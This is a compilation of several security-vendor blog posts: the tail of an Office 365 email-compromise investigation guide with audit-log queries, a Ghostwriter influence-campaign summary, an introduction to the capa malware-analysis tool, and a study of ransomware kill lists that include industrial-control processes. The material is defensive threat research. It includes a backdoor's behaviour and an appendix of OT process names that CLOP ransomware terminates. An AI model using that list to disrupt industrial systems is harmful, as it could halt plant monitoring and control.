After we’ve finished scoping the tenant, we’ll turn our attention to the individual users believed to be involved in the compromise. We’ll acquire all relevant O365 logs for the identified compromised user(s) - this includes the user's UAL, Mailbox Audit Log (MAL), and Admin audit log (if the user is an administrator). We’ll review these logs for anomalous account activity and assemble a list of attacker IP addresses and User-Agents strings. We’ll use this list to further scope the tenant.

O365 investigations rely heavily on anomaly detection. Many times, the BEC actor may even be active at the same time as the user. In order to accurately differentiate between legitimate user activity and attacker activity within a compromised account, it's recommended to pull back as much data as possible to use as a reference for legitimate activity. Using the Helix query transforms groupby < [srccountry,srcregion], groupby < useragent and groupby < srcipv4 , which highlight the least common geolocations, User Agent strings, and IP addresses, can also assist in identifying anomalies in results.

Querying UAL for a user in Helix:

class=ms_office365 username=user@client.com | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby < [srccountry,srcregion]

Querying UAL for a user in PowerShell:

Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -UserIds user@client.com | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Querying MAL for a user in PowerShell:

Search-MailboxAuditLog -Identity user@client.com -LogonTypes Owner,Delegate,Admin -ShowDetails -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Querying Admin Audit Log for all events within a certain date in PowerShell:

Search-AdminAuditLog -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Query UAL with New Leads

Now that we’ve built a list of suspicious IP addresses (or even entire CIDR ranges) and User-Agent strings, we’ll run new queries against the entire UAL to try to identify other compromised user accounts. We’ll repeat this step and the previous step for each newly identified user account.

One advantage to using FireEye Helix platform over PowerShell is that we can query entire CIDR ranges. This is helpful when we observe attackers coming from a VPN or ISP that dynamically assigns IP addresses within the same address block.

Queries for attacker User-Agent strings usually generate more noise to sift through than IP address searches. In practice, User-Agent queries are only beneficial if the attackers are using an uncommon browser or version of a browser. Due to limitations of the Search-UnifiedAuditLog cmdlet, we’ve had the most success using the FreeText parameter and searching for simple strings.

In Helix:

class=ms_office365 (srcipv4:[1.2.3.4, 2.3.4.0/24] OR useragent:Opera) | table [createdtime, action, username, srcipv4, srccountry, srcregion, useragent, rawmsg] | groupby username

Querying the UAL for IPs and user agents in PowerShell:

Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -IPAddresses 1.2.3.4, 2.3.4.5 | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8
Search-UnifiedAuditLog -StartDate mm/dd/yyyy -EndDate (Get-Date) -ResultSize 5000 -FreeText "Opera" | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Analyze Message Traces

We’ll use PowerShell to query message traces for the compromised users we’ve identified. If the email was sent within the past 10 days, use the Get-MessageTrace cmdlet, which immediately returns results and allows teams to query IP addresses. For older emails, use the Start-HistoricalSearch cmdlet and download the report later from the Mail Flow section of the Security & Compliance center.

Querying for the last 10 days of mail sent by the victim in PowerShell:

Get-MessageTrace -StartDate (Get-Date).AddDays(-10) -EndDate (Get-Date) -SenderAddress victim@client.com | Select-Object Received, SenderAddress, RecipientAddress, Subject, Status, FromIP, Size, MessageID | Export-CSV \path\to\file.csv –NoTypeInformation -Encoding utf8

Querying for older emails (up to 90 days) in PowerShell:

Start-HistoricalSearch -ReportTitle "Mandiant O365 investigation" -StartDate mm/dd/yyyy -EndDate mm/dd/yyyy -ReportType MessageTraceDetail -SenderAddress victim@client.com

As Message Trace results are reviewed, attention should be given to IP addresses to determine which emails were sent by attackers. If phishing was the suspected initial compromise vector, it’s a good idea to also query for incoming mail received within a few days prior to the first compromise date and look for suspicious sender addresses and/or subject lines.

Acquire Emails of Interest

With our list of suspicious emails identified from message traces, we’ll use the Content Search tool available in the Office 365 Security and Compliance Center acquire the email body and learn what domains were used in phishing lures (if phishing was present). Content Searches are performed by using a straightforward GUI, and the results can either be previewed in the browser, downloaded individually as EML files, or downloaded in bulk as PST files.

Final Scoping

At this point of our investigation, the BEC should be sufficiently scoped within the tenant. To ensure any follow-on activity hasn’t occurred, we’ll take all of the attack indicators and perform our final queries across the UAL.

With that said, there are still edge cases in which attacker activity wouldn’t appear in O365 logs. For example, perhaps an additional user has submitted their credentials to a phishing page, but the attackers haven’t used them to log in yet. To ensure we don’t miss this activity, we’ll perform additional scoping across available network logs, specifically for IP addresses and domains related to the attacker’s phishing infrastructure. We’ll also leverage other FireEye products, such as the Endpoint Security platform, to search for phishing domains present on a host’s web browser history.

Conclusion

Unauthorized access to O365 tenant doesn’t just pose a threat to an organization, but also to its staff and business partners. Organizations without enhanced security controls in O365 are at the greatest risk of experiencing a BEC. However, as multi factor-authentication becomes more and more commonplace, we’ve witnessed an increase of MFA bypass attempts performed by increasingly proficient attackers.

It’s important to remember that social engineering plays a primary role throughout a BEC. Ensure that users are trained on how to identify credential harvesting forms, a common compromise vector. When in the midst of a BEC compromise, teams may want to promptly alert personnel in HR and finance-related roles to exercise extra caution when processing requests related to banking or wire transfers while the investigation is in progress.

The examples covered in this blog post are just a sample of what Managed Defense performs while investigating an Office 365 compromise. To take a proactive approach at preventing BECs, make sure the following best practices are implemented in a O365 tenant. Additionally, FireEye Email Security offers protections against phishing and the Helix platform’s O365 ruleset can alert on anomalous activity as soon as it happens.

Recommended Best Practices

  • Ensure mailbox audit logging is enabled on all accounts
  • Disable Legacy Authentication protocols
  • Enable multi-factor authentication (MFA)
  • Enforce strong passwords and a password expiration policy
  • Forward O365 audit logs to a centralized logging platform for extended retention
  • Enforce an account lockout policy in Azure/on-premise Active Directory
  • Restrict mail forwarding to external domains

Acknowledgements

Special thanks to Doug Bienstock, Glenn Edwards, Josh Madeley, and Tim Martin for their research and assistance on the topic.

‘Ghostwriter’ Influence Campaign: Unknown Actors Leverage Website Compromises and Fabricated Content to Push Narratives Aligned With Russian Security Interests

Mandiant Threat Intelligence has tied together several information operations that we assess with moderate confidence comprise part of a broader influence campaign—ongoing since at least March 2017—aligned with Russian security interests. The operations have primarily targeted audiences in Lithuania, Latvia, and Poland with narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe, occasionally leveraging other themes such as anti-U.S. and COVID-19-related narratives as part of this broader anti-NATO agenda. We have dubbed this campaign “Ghostwriter.”

Many, though not all of the incidents we suspect to be part of the Ghostwriter campaign, appear to have leveraged website compromises or spoofed email accounts to disseminate fabricated content, including falsified news articles, quotes, correspondence and other documents designed to appear as coming from military officials and political figures in the target countries.

This falsified content has been referenced as source material in articles and op-eds authored by at least 14 inauthentic personas posing as locals, journalists and analysts within those countries. These articles and op-eds, primarily written in English, have been consistently published to a core set of third-party websites that appear to accept user-submitted content, most notably OpEdNews.com, BalticWord.com, and the pro-Russian site TheDuran.com, among others, as well as to suspected Ghostwriter-affiliated blogs.

Some of these incidents and personas have received public attention from researchers, foreign news outlets, or government entities in Lithuania and Poland, but have not been tied to a broader activity set. Others have received little attention and remain relatively obscure. Mandiant Threat Intelligence has independently discovered several Ghostwriter personas and identified additional incidents involving some of those personas previously exposed.

We believe the assets and operations discussed in this report are for the first time being collectively tied together and assessed to comprise part of a larger, concerted and ongoing influence campaign.

Read the report today to learn more.

Unique Threats to Operational Technology and Cyber Physical Systems

In this latest episode of our Eye on Security podcast, I talk all about the world of operational technology (OT) and cyber physical systems with one of our foremost experts on the topic: Nathan Brubaker, Senior Manager of Analysis for Mandiant Threat Intelligence.

Nathan kicked off our chat by explaining what exactly we mean when we use the term ‘cyber physical.’ We then turned our attention to related threats. As it turns out, there are far less attempts by attackers to target these systems than one might believe. Nathan went on to discuss some of the fundamental differences between OT and information technology (IT) systems, and then explained how OT is becoming more similar to IT, which makes OT systems more vulnerable to compromise. Fortunately, even though OT security typically lags behind that of IT systems, it’s definitely moving in the right direction.

Listen to the podcast today, and check out the following blog posts referenced by Nathan during the episode:

capa: Automatically Identify Malware Capabilities

capa is the FLARE team’s newest open-source tool for analyzing malicious programs. Our tool provides a framework for the community to encode, recognize, and share behaviors that we’ve seen in malware. Regardless of your background, when you use capa, you invoke decades of cumulative reverse engineering experience to figure out what a program does. In this post you will learn how capa works, how to install and use the tool, and why you should integrate it into your triage workflow starting today.

Problem

Effective analysts can quickly understand and prioritize unknown files in investigations. However, determining if a program is malicious, the role it plays during an attack, and its potential capabilities requires at least basic malware analysis skills. And often, it takes an experienced reverse engineer to recover a file’s complete functionality and guess at the author’s intent.

Malware experts can quickly triage unknown binaries to gain first insights and guide further analysis steps. Less experienced analysts, on the other hand, oftentimes don’t know what to look for and have trouble distinguishing the usual from the unusual. Unfortunately, common tools like strings / FLOSS or PE viewers display the lowest level of detail, burdening their users to combine and interpret data points.

Malware Triage 01-01

To illustrate this, let us look at Lab 01-01 from Practical Malware Analysis (PMA) available here. Our goal is to understand the program’s functionality. Figure 1 shows the file’s strings and import table with interesting values highlighted.


Figure 1: Interesting strings and import information of example malware from PMA Lab 1-1

With this data, reverse engineers can hypothesize about the strings and imported API functions to guess at the program’s functionality—but no more. The sample may create a mutex, start a process, or communicate over the network—potentially to IP address 127.26.152.13. The Winsock (WS2_32) imports make us think about network functionality, but the names are not available here because they are, as is common, imported by ordinal.

Dynamically analyzing this sample can confirm or disprove initial suspicions and reveal additional functionality. However, sandbox reports or dynamic analysis tools are limited to capturing behavior from the exercised code paths. This, for example, excludes any functionality triggered after a successful connection to the command and control (C2) server. We don’t usually recommend analyzing malware with a live Internet connection.

To really understand this file, we need to reverse engineer it. Figure 2 shows IDA Pro’s decompilation of the program’s main function. While we use the decompilation instead of disassembly to simplify our explanation, similar concepts apply to both representations.


Figure 2: Key functionality in the decompiled main function of PMA Lab 1-1

With a basic understanding of programming and the Windows API, we observe the following functionality. The malware:

  • creates a mutex to ensure only one instance is running
  • creates a TCP socket; indicated by the constants 2 = AF_INET, 1 = SOCK_STREAM, and 6 = IPPROTO_TCP
  • connects to IP address 127.26.152.13 on port 80
  • sends and receives data
  • compares received data to the strings sleep and exec
  • creates a new process

Although not every code path may execute on each run, we say that the malware has the capability to execute these behaviors. And, by combining the individual conclusions, we can reason that the malware is a backdoor that can run an arbitrary program specified by a hard-coded C2 server. This high-level conclusion enables us to scope an investigation and decide how to respond to the threat.

Automating Capability Identification

Of course, malware analysis is rarely as straight forward. The artifacts of intent may be spread through a binary that contains hundreds or thousands of functions. Furthermore, reverse engineering has a fairly steep learning curve and requires solid understanding of many low-level concepts such as assembly language and operating system internals.

However, with enough practice, we can recognize capabilities in programs simply from repetitive patterns of API calls, strings, constants, and other features. With capa, we demonstrate that some of our key analysis conclusions are actually feasible to perform automatically. The tool provides a common yet flexible way to codify expert knowledge and make it available to the entire community. When you run capa, it recognizes features and patterns as a human might, producing high-level conclusions that can drive subsequent investigative steps. For example, when capa recognizes the ability for unencrypted HTTP communication, this might be the hint you need to pivot into proxy logs or other network traces.

Introducing capa

When we run capa against our example program, the tool output in Figure 3 almost speaks for itself. The main table shows all identified capabilities in this sample, with each entry on the left describing a capability. The associated namespace on the right helps to group related capabilities. capa did a fantastic job and described all the program capabilities we’ve discussed in the previous section.


Figure 3: capa analysis of PMA Lab 1-1

We find that capa often provides surprisingly good results. That’s why we want capa to always be able to show the evidence used to identify a capability. Figure 4 shows capa’s detailed output for the “create TCP socket” conclusion. Here, we can inspect the exact locations in the binary where capa found the relevant features. We’ll see the syntax of rules a bit later – in the meantime, we can surmise that they’re made up of a logic tree combining low level features.


Figure 4: Feature match details for "create TCP socket" rule in example malware

How capa Works

capa consists of two main components that algorithmically triage unknown programs. First, a code analysis engine extracts features from files, such as strings, disassembly, and control flow. Second, a logic engine finds combinations of features that are expressed in a common rule format. When the logic engine finds a match, capa reports on the capability described by the rule.

Feature Extraction

The code analysis engine extracts low-level features from programs. All the features are consistent with what a human might recognize, such as strings or numbers, and enable capa to explain its work. These features typically fall into two large categories: file features and disassembly features.

File features are extracted from the raw file data and its structure, e.g. the PE file header. This is information that you might notice by scrolling across the entire file. Besides the above discussed strings and imported APIs, these include exported function and section names.

Disassembly features are extracted from an advanced static analysis of a file – this means disassembling and reconstructing control flow. Figure 5 shows selected disassembly features including API calls, instruction mnemonics, numbers, and string references.


Figure 5: Examples of file features in a disassembled code segment of PMA Lab 1-1

Because the advanced analysis can distinguish between functions and other scopes in a program, capa can apply its logic at an appropriate level of detail. For example, it doesn’t get confused when unrelated APIs are used in different functions since capa rules can specify that they should be matched against each function independently.

We’ve designed capa with flexible and extendable feature extraction in mind. Additional code analysis backends can be integrated easily. Currently, the capa standalone version relies on the vivisect analysis framework. If you’re using IDA Pro, you can also run capa using the IDAPython backend. Note that sometimes differences among code analysis engines may result in divergent feature sets and hence different results. Fortunately, this usually isn’t a serious problem in practice.

capa Rules

A capa rule uses a structured combination of features to describe a capability that may be implemented in a program. If all required features are present, capa concludes that the program contains the capability.

capa rules are YAML documents that contain metadata and a tree of statements to express their logic. Among other things, the rule language supports logical operators and counting. In Figure 6, the “create TCP socket” rule says that the numbers 6, 1, and 2, and calls to either of the API functions socket or WSASocket must be present in the scope of a single basic block. Basic blocks group assembly code at a very low level making them an ideal place to match tightly related code segments. Besides within basic blocks, capa supports matching at the function and the file level. The function scope ties together all features in a disassembled function, while the file scope contains all features across the entire file.


Figure 6: capa rule logic to identify TCP socket creation

Figure 7 highlights the rule metadata that enables capa to display high-level, meaningful results to its users. The rule name describes the identified capability while the namespace associates it with a technique or analysis category. We already saw the name and namespace in the capability table of capa’s output. The metadata section can also include fields like author or examples. We use examples to reference files and offsets where we know a capability to be present, enabling unit testing and validation of every rule. Moreover, capa rules serve as great documentation for behaviors seen in real-world malware, so feel free to keep a copy around as a reference. In a future post we will discuss other meta information, including capa’s support for the ATT&CK and the Malware Behavior Catalog frameworks.


Figure 7: Rule meta information

Installation

To make using capa as easy as possible, we provide standalone executables for Windows, Linux, and OSX. The tool is written in Python and the source code is available on our GitHub. Additional and up-to-date installation instructions are available in the capa repository.

Newer versions of FLARE-VM (available on GitHub) include capa as well.

Usage

To identify capabilities in a program run capa and specify the input file:

$ capa suspicious.exe

capa supports Windows PE files (EXE, DLL, SYS) and shellcode. To run capa on a shellcode file you must explicitly specify the file format and architecture, for example to analyze 32-bit shellcode:

  • $ capa -f sc32 shellcode.bin

To obtain detailed information on identified capabilities, capa supports two additional verbosity levels. To get the most detailed output on where and why capa matched on rules use the very verbose option:

  • $ capa -vv suspicious.exe

If you only want to focus on specific rules you can use the tag option to filter on fields in the rule meta section:

  • $ capa -t "create TCP socket" suspicious.exe

Display capa’s help to see all supported options and consolidate the documentation:

  • $ capa -h

Contributing

We hope that capa brings value to the community and encourage any type of contribution. Your feedback, ideas, and pull requests are very welcome. The contributing document is a great starting point.

Rules are the foundation of capa’s identification algorithm. We want to make it easy and fun to write them. If you have any rule ideas, please open an issue or even better submit a pull request to capa-rules. This way, everyone can benefit from the collective knowledge of our malware analysis community.

To separate our work and discussions between the capa source code and the supported rules, we use a second GitHub repository for all rules that come embedded within capa. The capa main repository embeds the rule repository as a git submodule. Please refer to the rules repository for further details, including the rule format documentation.

Conclusion

In this blog post we have introduced the FLARE team’s newest contribution to the malware analysis community. capa is an open-source framework to encode, recognize, and share behaviors seen in malware. We think that the community needs this type of tool to fight back against the volume of malware that we encounter during investigations, hunting, and triage. Regardless of your background, when you use capa, you invoke decades of cumulative experience to figure out what a program does.

Try out capa in your next malware analysis. The tool is extremely easy to use and can provide valuable information for forensic analysts, incident responders, and reverse engineers. If you enjoy the tool, run into issues using it, or have any other comments, please contact us via the projects GitHub page.

Financially Motivated Actors Are Expanding Access Into OT: Analysis of Kill Lists That Include OT Processes Used With Seven Malware Families

Mandiant Threat Intelligence has researched and written extensively on the increasing financially motivated threat activity directly impacting operational technology (OT) networks. Some of this research is available in our previous blog posts on industrial post-compromise ransomware and FireEye's approach to OT security. While most of the actors behind this activity likely do not differentiate between IT and OT or have a particular interest in OT assets, they are driven by the goal of making money and have demonstrated the skills needed to operate in these networks. For example, the shift to post-compromise ransomware deployment highlights the actors’ ability to adapt to more complex environments.

In this blog post we look further into this trend by examining two different process kill lists containing OT processes which we have observed deployed alongside a variety of ransomware samples and families. We think it is likely that these lists were the result of coincidental asset scanning in victim organizations and not specific targeting of OT. While this judgement may initially seem like good news to defenders, this activity still indicates that multiple, very prolific, financially motivated threat actors are active inside organizations’ OT—based on the contents of these process kill lists—with the intent of profiting from the ransom of stolen information and disrupted services.

Two Unique Process Kill Lists Deployed Alongside Seven Ransomware Families Include OT Processes

Threat actors often deploy process kill lists alongside or as part of ransomware to terminate anti-virus products, stop alternative detection mechanisms, and remove file locks to ensure critical data is encrypted. As a result, the deployment of these lists increases the likelihood of a successful attack (MITRE ATT&CK T1489). In post compromise ransomware attacks, attackers regularly tailor the lists to include processes that are relevant to the victim’s environment. By stopping these processes, the attacker makes sure to encrypt data from critical systems, which may remain unaffected if the process is currently in use. As the likelihood of crippling critical systems increases, the target is more likely to suffer impacts on its physical production.

First Process Kill List Has Been Leveraged By At Least Six Ransomware Families

Mandiant identified samples of at least six ransomware families (DoppelPaymer, LockerGoga, Maze, MegaCortex, Nefilim and SNAKEHOSE)—all of which have been associated with high-profile incidents impacting industrial organizations over the past two years—that have leveraged a common process kill list containing 1,000+ processes. The list, which we briefly discussed in an earlier blog post from February 2020, includes a couple dozen processes related to OT executables—mainly from General Electric Proficy, a suite used for historians and human-machine interfaces (HMIs). We note, that while the inclusion of these processes in this kill list could result in limited loss of view of historical process data, it is not likely to directly impact the operator’s ability to control the physical process itself.


Figure 1: Snippets from “kill.bat” deployed alongside LockerGoga (L) and MegaCortex process kill list (R)

The earliest iteration we identified of the shared kill list was a batch script deployed alongside LockerGoga (MD5: 34187a34d0a3c5d63016c26346371b54) in January 2019 (Figure 1). Other iterations of the list we have observed are also hardcoded directly into the ransomware binaries. The different techniques used to deploy the process kill list, the use of different malware families, and slight variations between each list iteration (mainly typos in the processes, e.g.: a2guard.exea2start.exe; nexe; proficyclient.exe) indicate that likely more than one actor had access to the true source of the process kill list. This source could be for example a post of processes shared on a dark web forum, or an independent actor sharing the compiled list with other actors.

We think it is likely that the OT processes identified in this list simply represent the coincidental output of automated process collection from victim environment(s) and not a targeted effort to impact OT. This is supported by the relatively limited and specific selection of OT-related processes, rather than a broader selection of many vendors and OT-related processes that would have been suggestive of targeted external research. Regardless, this does not downplay the significance of the inclusion of OT processes in the list, as it suggests that sophisticated financially motivated actors, such as FIN6, have had at least some visibility into a victim’s OT network. As a result, the actors were able to tailor their malware to impact those systems, without the explicit intent to target OT assets.

Most types of ransomware attacks in OT environments will result in the disruption of services and a temporary loss of view into current and historical process data. However, OT environments impacted by a ransomware that leverages this kill list and happen to be running one or more of the processes used by the initial victim(s)—and therefore are included on the list—may face additional impacts. For example, historian databases would be more likely to be encrypted, possibly resulting in loss of historical data. Other impacts could include gaps in the collection of process data corresponding to the duration of the outage and temporary loss of access to licensing rights for critical services.

Second List Deployed Alongside CLOP Ransomware Sample Has a Higher Chance of Impacting OT Systems

Mandiant analyzed a second, entirely unrelated sample of ransomware (MD5: 3b980d2af222ec909b948b6bbdd46319) from the CLOP family with a hardcoded list for enumeration and termination of processes that includes a number of OT strings. The list contains over 1,425 processes, from which at least 150 belong to OT-related software suites (Figure 2 and Appendix).

Based on our analysis, the CLOP malware family’s process kill list has grown over time possibly as more processes are scanned during different compromises. While we do not currently hold enough information to describe the exact mechanism used by the actor to grow the list, it appears to have resulted from actor reconnaissance across multiple victims. We have observed the threat actor employing process discovery procedures, including running the tasklist utility. This indicates that the actor scanned for processes in at least one victim’s OT network(s) before deploying the ransomware.


Figure 2: Subset of processes in observed CLOP sample

CLOP is also interesting as we have only observed a single unique and very prolific financially motivated threat actor leveraging the malware family. The group, who has been active since at least 2016 and potentially as early as 2014, is known for operating large phishing campaigns to distribute malware and typically monetizes intrusions through ransomware deployment. As highlighted by their versatility and long history in financially motivated intrusions, the actor’s activity in OT networks is likely no more than an additional step in the process for monetization. However, the financial motivations of the actor again do not imply low risk to OT. Instead, our analysis of the CLOP sample’s kill list indicates that the included processes actually have greater potential to disrupt OT systems than those included in the shared list described above.

Unlike the first kill list, the CLOP sample includes a list of processes that, if stopped, may directly impact the operator’s ability to both visualize and control production. This is especially true in the case of some included processes that support HMI and PLC supervision. Some of the OT processes present in the CLOP sample are related to the following products:

Vendor

Product

Description

Siemens

SIMATIC WinCC

SCADA system, common for process control and automation.

Beckhoff

TwinCAT

Software for PC-based process control and automation.

National Instruments

Data Acquisition Software (DAQ)

Software used to acquire data from sensors and conditioning devices.

Kepware

KEPServer EX

Software platform that collects information from industrial devices and sends the output to SCADA applications.

OPC Unified Architecture (OPC-UA)

N/A

Communication protocol for data acquisition and exchange between industrial equipment and enterprise systems. 

Table 1: Examples of products related to OT processes included in identified CLOP kill list

While it is likely the physical processes this software controls would continue to operate even if the software processes were terminated unexpectedly, stopping the software processes included in the CLOP sample’s kill list could result in the loss of view/control over those physical processes due to the inability of operators to interact with the equipment. This can be caused not only by the ransomware’s disruption of intermediary systems, but also by the loss of access to relevant files on HMIs/EWS required for the operation of process control and monitoring software–for example configurations or project files. This could prolong the mean time to recovery (MTTR) of impacted environments without offline backups. In the CLOP sample list, we also identified specialized processes for software application design and testing that may also become corrupted at the time of encryption.

Process Kill Lists Are Just An Observable Indicating Broader Financially Motivated Interest In OT

Financially motivated threat actors leverage a large variety of tactics and techniques to obtain data that they can later use to generate profits. While financial actors have historically posed little to no threat to OT systems, the recent uptick in ransomware and extortion incidents highlights that industrial operations are increasingly at risk. Although we have not observed any financially motivated actors explicitly targeting OT systems, our research into process kill lists deployed with or alongside ransomware samples shows that at least two sophisticated financial actors have expanded their access into OT networks during their regular intrusions.

This increasing exposure of OT to financially motivated threat activity is no surprise, given that TTPs used by cybercriminals increasingly resemble those employed by sophisticated actors. We have consistently conveyed this message since at least 2018, when we publicly discussed the commodity and custom IT tools leveraged by the TRITON attacker while traversing through its targets’ networks (Figure 3). The likelihood of financially motivated actors impacting OT while seeking to monetize intrusions will continue to rise for the following reasons:


Figure 3: TTPs seen across both IT and OT incidents

  • Financially-motivated threat actors moving to a post-compromise ransomware model will continue to evolve and find ways to reach the most critical systems of organizations as part of their mission of monetization. As these actors are mainly driven by profits, they are not likely to differentiate between IT and OT assets.
  • OT organizations will continue to struggle to evolve at the same pace as cyber criminals. As a result, small weaknesses such as misconfigurations, exposed vulnerabilities or improper segmentation will be enough for financial actors to gain access to networks in their attempts to profit from intrusions.
  • As the market for OT solutions continues to incorporate IT services and features into broadly adopted products, we expect the convergence of technologies to result in a broader attack surface for financial threat actors to target.
  • The TTPs employed by both financial and sophisticated nation-state actors often rely on intermediary systems as stepping stones through intrusions. As a result, the skills of both groups hold similar potential of reaching OT systems even when financial groups may only do so coincidentally or as part of their monetization strategy.

Outlook

As OT networks continue to become more accessible to threat actors of all motivations, security threats that have historically impacted primarily IT are becoming more commonplace. This normalization of OT as just another network from the threat actor perspective is problematic for defenders for many of the reasons discussed above. This recent threat activity should be taken as a wake-up call for two main reasons: the various security challenges commonly faced by organizations to protect OT networks, and the significant consequences that may arise from security compromises even when they are not explicitly designed to target production systems. Asset owners need to look at OT security with the mindset that it is not if you will have a breach, but when. This shift in thinking will allow defenders to better prepare to respond when an incident does happen, and can help reduce the impact of an incident by orders of magnitude.   

Appendix: Selection Of OT Processes From CLOP Kill List

Process Name

Vendor

ACTLICENSESERVER.EXE

Atlas Copco

TCATSYSSRV.EXE

Beckhoff

TCEVENTLOGGER.EXE

Beckhoff

TCR.EXE

Beckhoff

ALARMMANAGER.EXE

GE

S2.EXE

Honeywell

BR.ADI.DISPLAY.BRIGHTNESS.EXE

B&R

BR.ADI.SERVICE.EXE

B&R

BR.ADI.UPS.MANAGER.EXE

B&R

BR.ADI.UPS.SERVICE.EXE

B&R

BR.AS.UPGRADESERVICE.EXE

B&R

BRAUTHORIZATIONSVC.EXE

B&R

BRTOUCHSVC.EXE

B&R

OPCROUTER4SERVICE.EXE

Inray Industriesoftware

OPCROUTERCONFIG.EXE

Inray Industriesoftware

SERVER_EVENTLOG.EXE

Kepware

SERVER_RUNTIME.EXE

Kepware

NICELABELAUTOMATIONSERVICE2017.EXE

NiceLabel

NICELABELPROXY.EXE

NiceLabel

NICELABELPROXYSERVICE2017.EXE

NiceLabel

APPLICATIONWEBSERVER.EXE

National Instruments

CWDSS.EXE

National Instruments

NIAUTH_DAEMON.EXE

National Instruments

NIDEVMON.EXE

National Instruments

NIDISCSVC.EXE

National Instruments

NIDMSRV.EXE

National Instruments

NIERSERVER.EXE

National Instruments

NILXIDISCOVERY.EXE

National Instruments

NIMDNSRESPONDER.EXE

National Instruments

NIMXS.EXE

National Instruments

NIPXICMS.EXE

National Instruments

NIROCO.EXE

National Instruments

NISDS.EXE

National Instruments

NISVCLOC.EXE

National Instruments

NIWEBSERVICECONTAINER.EXE

National Instruments

SYSTEMWEBSERVER.EXE

National Instruments

OPC.UA.DISCOVERYSERVER.EXE

OPC

OPCUALDS.EXE

OPC

ANAWIN.EXE

AUTEM

ASM.EXE

Possibly Siemens

PARAMETRIC.EXE

PTC

QDAS_O-QIS.EXE

Q-Das

QDAS_PROCELLA.EXE

Q-Das

QDAS_QS-STAT.EXE

Q-Das

QDASIDI_SRV.EXE

Q-Das

SPCPROCESSLINK.EXE

Q-Das

TAGSRV.EXE

Rockwell Automation or National Instruments

_SIMPCMON.EXE

Siemens

ALMPANELPLUGIN.EXE

Siemens

ALMSRV64X.EXE

Siemens

ALMSRVBUBBLE64X.EXE

Siemens

CC.TUNNELSERVICEHOST.EXE

Siemens

CCAEPROVIDER.EXE

Siemens

CCAGENT.EXE

Siemens

CCALGRTSERVER.EXE

Siemens

CCARCHIVEMANAGER.EXE

Siemens

CCCAPHSERVER.EXE

Siemens

CCCSIGRTSERVER.EXE

Siemens

CCDBUTILS.EXE

Siemens

CCDELTALOADER.EXE

Siemens

CCDMRUNTIMEPERSISTENCE.EXE

Siemens

CCECLIENT_X64.EXE

Siemens

CCECLIENT.EXE

Siemens

CCESERVER_X64.EXE

Siemens

CCESERVER.EXE

Siemens

CCKEYBOARDHOOK.EXE

Siemens

CCLICENSESERVICE.EXE

Siemens

CCNSINFO2PROVIDER.EXE

Siemens

CCPACKAGEMGR.EXE

Siemens

CCPERFMON.EXE

Siemens

CCPROFILESERVER.EXE

Siemens

CCPROJECTMGR.EXE

Siemens

CCPTMRTSERVER.EXE

Siemens

CCREDUNDANCYAGENT.EXE

Siemens

CCREMOTESERVICE.EXE

Siemens

CCRT2XML.EXE

Siemens

CCRTSLOADER_X64.EXE

Siemens

CCSSMRTSERVER.EXE

Siemens

CCSYSTEMDIAGNOSTICSHOST.EXE

Siemens

CCTEXTSERVER.EXE

Siemens

CCTLGSERVER.EXE

Siemens

CCTMTIMESYNC.EXE

Siemens

CCTMTIMESYNCSERVER.EXE

Siemens

CCUCSURROGATE.EXE

Siemens

CCWATCHOPC.EXE

Siemens

CCWRITEARCHIVESERVER.EXE

Siemens

DA2XML.EXE

Siemens

GSCRT.EXE

Siemens

HMIES.EXE

Siemens

HMIRTM.EXE

Siemens

HMISMARTSTART.EXE

Siemens

HMRT.EXE

Siemens

IPCSECCOM.EXE

Siemens

OPCUASERVERWINCC.EXE

Siemens

PASSDBRT.EXE

Siemens

PDLRT.EXE

Siemens

PMEXP.EXE

Siemens

PNIOMGR.EXE

Siemens

REDUNDANCYCONTROL.EXE

Siemens

REDUNDANCYSTATE.EXE

Siemens

S7ACMGRX.EXE

Siemens

S7AHHLPX.EXE

Siemens

S7ASYSVX.EXE

Siemens

S7EPASRV64X.EXE

Siemens

S7HSPSVX.EXE

Siemens

S7KAFAPX.EXE

Siemens

S7O.TUNNELSERVICEHOST.EXE

Siemens

S7OIEHSX64.EXE

Siemens

S7OPNDISCOVERYX64.EXE

Siemens

S7SYMAPX.EXE

Siemens

S7TGTOPX.EXE

Siemens

S7TRACESERVICE64X.EXE

Siemens

S7UBTOOX.EXE

Siemens

S7UBTSTX.EXE

Siemens

S7WNRMSX.EXE

Siemens

S7WNSMGX.EXE

Siemens

S7WNSMSX.EXE

Siemens

S7XUDIAX.EXE

Siemens

S7XUTAPX.EXE

Siemens

SCORECFG.EXE

Siemens

SCOREDP.EXE

Siemens

SCOREPNIO.EXE

Siemens

SCORES7.EXE

Siemens

SCORESR.EXE

Siemens

SCSDISTSERVICEX.EXE

Siemens

SCSFSX.EXE

Siemens

SCSMX.EXE

Siemens

SDIAGRT.EXE

Siemens

SIEMENS.INFORMATIONSERVER.DISCOVERSERVICEINSTALLER.EXE

Siemens

SIEMENS.INFORMATIONSERVER.ISREADY.PLUGINSERVICE.EXE

Siemens

SIEMENS.INFORMATIONSERVER.SCHEDULER.EXE

Siemens

SIM9SYNC.EXE

Siemens

SIMNETPNPMAN.EXE

Siemens

SMARTSERVER.EXE

Siemens

SSERVCFG.EXE

Siemens

TOUCHINPUTPC.EXE

Siemens

TRACECONCEPTX.EXE

Siemens

TRACESERVER.EXE

Siemens

UM.RIS.EXE

Siemens

UM.SSO.EXE

Siemens

WEBNAVIGATORRT.EXE

Siemens

WINCCEXPLORER.EXE

Siemens

CCDMRTCHANNELHOST.EXE

Siemens

ANSYS.ACT.BROWSER.EXE

Ansys

ANSYS.EXE

Ansys

ANSYS192.EXE

Ansys

ANSYSFWW.EXE

Ansys

ANSYSLI_CLIENT.EXE

Ansys

ANSYSLI_MONITOR.EXE

Ansys

ANSYSLI_SERVER.EXE

Ansys

ANSYSLMD.EXE

Ansys

ANSYSWBU.EXE

Ansys

CONFIGSERVERI64.EXE

Tani

